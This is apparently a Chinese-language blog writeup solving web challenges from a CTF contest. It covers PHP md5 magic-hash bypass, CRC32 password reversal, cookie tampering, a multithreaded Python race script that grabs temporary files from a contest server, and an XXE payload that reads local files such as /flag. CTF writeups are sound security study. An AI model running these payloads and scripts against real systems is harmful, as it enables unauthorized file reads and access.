avatar

豌豆杯WEB题部分writeup

日志

你能找到日志文件吗?

猜测创建日志目录:log logs 等等,发现log/目录是在的,然后下载access.log进行分析

发现了很可疑的url访问

201810171539746995754159.png

/web09/21232F297A57A5A743894A0E4A801FC3.php?username=WVdSdGFXND0=&password=74D839D98630E280DF752E8939454A6B

进入之后点登陆GetFlag


md5问题

1
2
3
4
5
6
7
8
9
10
if(!isset($_GET['input'])){
echo "请输入input";
return false;
}

if ($_GET['input'] != 's214587387a' && @md5(@$_GET['input']) == @md5('s214587387a')) {
echo "flag{***************}";
}else{
echo "校验失败";
}

这个问题呢可以,参考 http://www.freebuf.com/news/67007.html

输入240610708 GetFlag


粗心大意的管理员

某工作室技术主管遗失了自己的密码,但好在他的密码只有四位。已知这四位的密码的CRC值是:1C41C08B,请帮助某工作室技术主管找回他的密码,如找回必有重谢!

附上网上流传的神器:https://github.com/theonlypwner/crc32
具体使用方法:

1
python crc32.py reverse 0x1C41C08B

随便选一个提交即可


30条命您配吗

直接查阅main.js可以拿到flag

或者

201810171539743729369772.png


您是管理员吗?

您不是管理员!
你不能访问敏感页面

看了下cookie发现 isadmin将其改为true即可

201810171539745615821635.png


粗心大意的开发人员

201810171539746056646284.png

查看config.js

1
2
/* config.js */    
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\""+$.$$$$+(![]+"")[$._$_]+$.$_$_+"\\"+$.__$+$.$__+$.$$$+"{\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$_$+"_"+$.$_$_+$.$_$_+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.$$__+$._$+$.$$_$+$.$$$_+"}\\\")"+"\"")())();

直接F12丢console跑 GetFlag


单身20年

某黑客劫持了你们的Flag,如果你们希望完成这道题目,请拯救它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
以下是题目的代码
<?php
header("Content-type:text/html;charset=utf-8");
show_source(__FILE__);
if($_COOKIE['token']=='5D41402ABC4B2A76B9719D911017C592'){
$file = 'dump/'.md5(base64_encode(mt_rand(1,100))).'.txt';
file_put_contents($file,file_get_contents('327A6C4304AD5938EAF0EFB6CC3E53DC.php'));
sleep(10);
unlink($file);
}else{
header('Location: index.php');
}
setcookie("token");
?>

分析代码

  1. 判断cookie中token是否等于5D41402ABC4B2A76B9719D911017C592

  2. $file 赋值加密随机数变成随机的文件名

  3. 读取327A6C4304AD5938EAF0EFB6CC3E53DC.php文件并写入变量$file的路径

  4. 10秒钟后删除$file文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding: UTF-8 -*-
import base64
import hashlib
import requests
import thread


list = []
def md5(str):
m2 = hashlib.md5()
m2.update(str)
return m2.hexdigest()
#生成完文件队列
for i in range(1, 101):
b64 = base64.b64encode(str(i))
list.append("dump/" + md5(b64) + ".txt")
#爆破函数
def baopo(filename):
http = requests.session()
html = http.get("http://106.14.145.133:8081/web10/" + filename)
print(filename + "\n")
if "404" not in html.content:
print("--------------------")
print(html.content)
print("--------------------")
#启动函数
def start():
cookie = {
'token': '5D41402ABC4B2A76B9719D911017C592'
}
headers = {
'Content-type': 'text/html;charset=utf-8'
}
http = requests.session()
html = http.get("http://106.14.145.133:8081/web10/", headers=headers, cookies=cookie)
# 创建线程
try:
thread.start_new_thread(start, ())
except:
print("启动线程创建失败")
for i in list:
# 创建100线程
try:
thread.start_new_thread(baopo, (str(i),))
except:
print("爆破线程创建失败")
while 1:
pass

机器人?

机器人?机器人在WEB中可不仅仅是机器人的意思!

访问robots.txt文件

1
2
3
4
# robots.txt generated at OrangeX(https://kidding.pub)
User-agent: *
Disallow:
Disallow: /cgi-bin/

访问/cgi-bin/在返回的头信息中包含了flag

201810191539911661583744.png


信息泄露

某情报机构信息交换点存在信息泄露问题。

201810191539914679451644.png

可以推测这是一个XML注入漏洞,一番学习之后

参考:https://www.cnblogs.com/xiaozi/p/5785165.html

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file://文件名">
]>
<root>
<list>&file;</list>
</root>

以上code可以实现对文件进行读取,以下为index.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?PHP
$xml = @$_POST["xml"];
if($xml == null){
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<root>
<list>Hello World!</list>
</root>
EOF;

}

$data = @simplexml_load_string($xml);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
<form action="index.php" method="post">
<textarea name="xml" cols="100" rows="20"><?PHP echo $xml; ?></textarea><br/>
<input type="submit" value="提交">
</form>
<div>
<pre><?PHP
echo htmlspecialchars(@$data->list);?>
</pre>
</div>
</body>
</html>

尝试读取/flag发现有内容

1
2
3
4
5
6
7
When the whole world is watched, filed, indexed, numbered,
the only way to disappear is to appear,
Hiding our true identities inside a seemingly ordinary life.
When everything is over, and the worst has happened,
there's still one thing left in Pandora's box...
hope.
/etc/W33itHzNuvRF8LQa

根据提示再次读取 /etc/W33itHzNuvRF8LQa 即可GetFlag


评论